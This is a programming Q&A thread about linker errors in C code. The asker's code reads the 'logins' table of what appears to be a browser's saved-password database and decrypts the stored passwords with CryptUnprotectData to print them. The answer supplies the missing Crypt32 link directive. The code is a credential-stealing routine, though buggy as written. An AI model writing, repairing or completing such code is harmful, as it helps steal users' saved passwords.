LNK1120 & LNK2019 Errors - c++

Question

I am trying to learn SQLite3 API, when I debug fatal errors occur.
Known that i configured the linker to compile it as a console.
Error 1 error LNK2019: unresolved external symbol _CryptUnprotectData#28 referenced in function _main ....\"filename".obj
Error 2 error LNK1120: 1 unresolved externals Debug\"filename".exe
Here is the code :
#include <stdio.h>
#include <conio.h>
#include "sqlite3.h"
#include <stdlib.h>
#include <Windows.h>
int main()
{
sqlite3_initialize();
sqlite3 *sqlHandle;
int call;
char *tail = NULL;
sqlite3_stmt *stmt = NULL;
const FILE *fileHandle = "C:\\Users\\"username"\\Desktop\\Data.sqlite";
call = sqlite3_open_v2(fileHandle, &sqlHandle, SQLITE_OPEN_READONLY,NULL);
if (call != SQLITE_OK)
{
sqlite3_close(sqlHandle);
exit(EXIT_SUCCESS);
}
//preparing statement to be executed
if (sqlite3_prepare_v2(sqlHandle, "SELECT action_url,username_value,password_value FROM logins", sizeof(char)*60, &stmt, &tail) != SQLITE_OK)
{
sqlite3_close(sqlHandle);
printf("Can't retrieve data: %s\n", sqlite3_errmsg(sqlHandle));
}
CRYPT_INTEGER_BLOB *blob;
CRYPT_INTEGER_BLOB *UnprotectedBlob = NULL;
while (sqlite3_step(stmt) == SQLITE_ROW)
{
blob = sqlite3_column_text(stmt, 2);
if (CryptUnprotectData(blob, NULL, NULL, NULL, NULL, 0, UnprotectedBlob))
{
printf("%s | %s | %s \n",
sqlite3_column_text(stmt, 0),
sqlite3_column_text(stmt, 1),
UnprotectedBlob->cbData);
}
}
sqlite3_finalize(stmt);
sqlite3_close(sqlHandle);
sqlite3_shutdown();
_getch();
return 1;
}

Answer 1

You need to link with the CryptoAPI library. You can do that either from the project properties for the linker (Configuration Properties > Linker > Input > Additional dependencies), or from code with a #pragma directive.
#pragma comment(lib, "Crypt32")